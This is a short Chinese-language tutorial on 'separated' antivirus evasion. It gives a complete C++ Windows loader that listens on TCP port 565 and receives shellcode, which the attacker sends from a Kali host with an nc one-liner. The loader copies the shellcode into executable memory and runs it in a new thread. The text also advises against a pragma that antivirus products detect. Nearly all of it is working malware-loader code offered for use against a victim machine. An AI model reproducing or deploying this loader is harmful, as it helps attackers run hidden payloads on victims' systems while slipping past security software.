思路:
通过远程加载的方式实现分离免杀。两种方式,一是受害机作为服务器监听,vps与受害机建立通信传输shellcode;二是受害机请求服务器,服务器判断通过后才返回shellcode和条件码(比如状态码或者响应体),受害机收到shellcode和允许加载shellcode的条件码时才会加载。
http或者socket通信实现,这里采用socket通信实现第一种思路。
受害机监听端口,kali nc传输数据连接
echo -e "shellcode" | nc x.x.x.x port
#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )这句后台运行的代码会被识别,不要用
#include <WinSock2.h>
#include <WS2tcpip.h>
#include <iostream>
#include <Windows.h>
#pragma comment(lib, "ws2_32.lib")
#define _WINSOCK_DEPRECATED_NO_WARNINGS
using namespace std;
int main()
{
WSADATA wsaData;
WORD wVersion = MAKEWORD(2, 2);
WSAStartup(wVersion, &wsaData);
char buf[4096] = { 0 };
in_addr addr;
SOCKET hServer;
inet_pton(AF_INET,"10.51.70.157",&addr);
hServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (hServer == INVALID_SOCKET)
{
cout << "创建套接字失败" << endl;
return -1;
}
sockaddr_in addrServer;
addrServer.sin_family = AF_INET;
addrServer.sin_port = htons(565);
addrServer.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
bind(hServer, (sockaddr*)&addrServer, sizeof(addrServer));
listen(hServer, 5);
SOCKET client;
sockaddr_in addrClient;
int len = sizeof(addrClient);
client = accept(hServer, (sockaddr*)&addrClient, &len);
if (client == INVALID_SOCKET) {
cout<<"accept失败!" << endl;
closesocket(hServer);
WSACleanup();
return -1;
}
recv(client, buf, sizeof(buf), 0);
LPVOID shell=(char *) VirtualAlloc(NULL,sizeof(buf) , MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
memcpy(shell, buf, sizeof(buf));
/第二种方式执行shellcode
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)shell, 0, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
}